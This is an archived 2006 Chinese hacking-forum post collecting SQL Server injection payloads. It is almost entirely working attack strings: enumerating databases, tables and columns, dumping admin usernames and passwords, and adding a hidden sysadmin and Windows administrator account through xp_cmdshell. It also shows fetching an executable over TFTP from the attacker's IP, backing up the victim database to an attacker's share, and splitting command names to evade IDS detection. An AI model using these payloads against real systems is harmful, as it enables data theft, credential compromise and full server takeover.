岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

hacker-cho 发表于 2006-5-11 21:36

标准注入语句-2

<p><font color="#00008b" size="2">爆库 特殊_blank&gt;技巧::%5c=\ 或者把/和\ 修改%5提交 <br/>and 0&lt;&gt;(select top 1 paths from newtable)-- </font></p><p><font color="#00008b"></font></p><p><font color="#00008b">得到库名(从1到5都是系统的id,6以上才可以判断) <br/>and 1=(select name from master.dbo.sysdatabases where dbid=7)-- <br/>and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br/>依次提交 dbid = 7,8,9.... 得到更多的_blank&gt;数据库名 </font></p><p><font color="#00008b">and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 <br/>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin <br/>and uid&gt;(str(id))) 暴到UID的数值假设为18779569 uid=id <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank&gt;_id <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in <br/>(id,...)) 来暴出其他的字段 <br/>and 0&lt;(select user_blank&gt;_id from BBS.dbo.admin where username&gt;1) 可以得到用户名 <br/>依次可以得到_blank&gt;密码。。。。。假设存在user_blank&gt;_id username ,password 等字段 </font></p><p><font color="#00008b">and 0&lt;&gt;(select count(*) from master.dbo.sysdatabases where name&gt;1 and dbid=6) <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 <br/>and 0&lt;&gt;(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) <br/>and 0&lt;&gt;(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid&gt;(str(id))) 判断id值 <br/>and 0&lt;&gt;(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 </font></p><p><font color="#00008b">?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin <br/>?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) </font></p><p><font color="#00008b">得到WEB路径 <br/>;create table [dbo].[swap] ([swappass][char](255));-- <br/>and (select top 1 swappass from swap)=1-- <br/>;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank&gt;_regread @rootkey=HKEY_blank&gt;_LOCAL_blank&gt;_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank&gt;_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- <br/>;use ku1;-- <br/>;create table cmd (str image);-- 建立image类型的表cmd </font></p><p><font color="#00008b">存在xp_blank&gt;_cmdshell的测试过程: <br/>;exec master..xp_blank&gt;_cmdshell dir <br/>;exec master.dbo.sp_blank&gt;_addlogin jiaoniang$;-- 加SQL帐号 <br/>;exec master.dbo.sp_blank&gt;_password null,jiaoniang$,1866574;-- <br/>;exec master.dbo.sp_blank&gt;_addsrvrolemember jiaoniang$ sysadmin;-- <br/>;exec master.dbo.xp_blank&gt;_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- <br/>;exec master.dbo.xp_blank&gt;_cmdshell net localgroup administrators jiaoniang$ /add;-- <br/>exec master..xp_blank&gt;_servicecontrol start, schedule 启动_blank&gt;服务 <br/>exec master..xp_blank&gt;_servicecontrol start, server <br/>; DECLARE @shell INT EXEC SP_blank&gt;_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add <br/>;DECLARE @shell INT EXEC SP_blank&gt;_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add <br/>; exec master..xp_blank&gt;_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 </font></p><p><font color="#00008b">;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\ <br/>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\ <br/>;declare @a;set @a=db_blank&gt;_name();backup database @a to disk=你的IP你的共享目录bak.dat <br/>如果被限制则可以。 <br/>select * from openrowset(_blank&gt;sqloledb,server;sa;,select OK! exec master.dbo.sp_blank&gt;_addlogin hax) </font></p><p><font color="#00008b">查询构造: <br/>SELECT * FROM news WHERE id=... AND topic=... AND ..... <br/>adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass &lt;&gt; <br/>select 123;-- <br/>;use master;-- <br/>:a or name like fff%;-- 显示有一个叫ffff的用户哈。 <br/>and 1&lt;&gt;(select count(email) from [user]);-- <br/>;update [users] set email=(select top 1 name from sysobjects where xtype=u and status&gt;0) where name=ffff;-- <br/>;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- <br/>;update [users] set email=(select top 1 name from sysobjects where xtype=u and id&gt;581577110) where name=ffff;-- <br/>;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- <br/>;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- <br/>;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- <br/>上面的语句是得到_blank&gt;数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 <br/>通过查看ffff的用户资料可得第一个用表叫ad <br/>然后根据表名ad得到这个表的ID 得到第二个表的名字 </font></p><p><font color="#00008b">insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- <br/>insert into users values( 667,123,123,0xffff)-- <br/>insert into users values ( 123, admin--, password, 0xffff)-- <br/>;and user&gt;0 <br/>;and (select count(*) from sysobjects)&gt;0 <br/>;and (select count(*) from mysysobjects)&gt;0 //为access_blank&gt;数据库 </font></p><p><font color="#00008b">枚举出数据表名 <br/>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0);-- <br/>这是将第一个表名更新到aaa的字段处。 <br/>读出第一个表,第二个表可以这样读出来(在条件后加上 and name&lt;&gt;刚才得到的表名)。 <br/>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status&gt;0 and name&lt;&gt;vote);-- <br/>然后id=1552 and exists(select * from aaa where aaa&gt;5) <br/>读出第二个表,一个个的读出,直到没有为止。 <br/>读字段是这样: <br/>;update aaa set aaa=(select top 1 col_blank&gt;_name(object_blank&gt;_id(表名),1));-- <br/>然后id=152 and exists(select * from aaa where aaa&gt;5)出错,得到字段名 <br/>;update aaa set aaa=(select top 1 col_blank&gt;_name(object_blank&gt;_id(表名),2));-- <br/>然后id=152 and exists(select * from aaa where aaa&gt;5)出错,得到字段名 </font></p><p><font color="#00008b">[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] <br/>update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status&gt;0 [ and name&lt;&gt;你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status&gt;0 and name not in(table1,table2,…) <br/>通过SQLSERVER注入_blank&gt;漏洞建_blank&gt;数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] </font></p><p><font color="#00008b">[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] <br/>update 表名 set 字段=(select top 1 col_blank&gt;_name(object_blank&gt;_id(要查询的数据表名),字段列如:1) [ where 条件] </font></p><p><font color="#00008b">绕过IDS的检测[使用变量] <br/>;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\ <br/>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\ </font></p><p><font color="#00008b">1、 开启远程_blank&gt;数据库 <br/>基本语法 <br/>select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) <br/>参数: (1) OLEDB Provider name <br/>2、 其中连接字符串参数可以是任何端口用来连接,比如 <br/>select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table <br/>3.复制目标主机的整个_blank&gt;数据库insert所有远程表到本地表。</font></p>

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.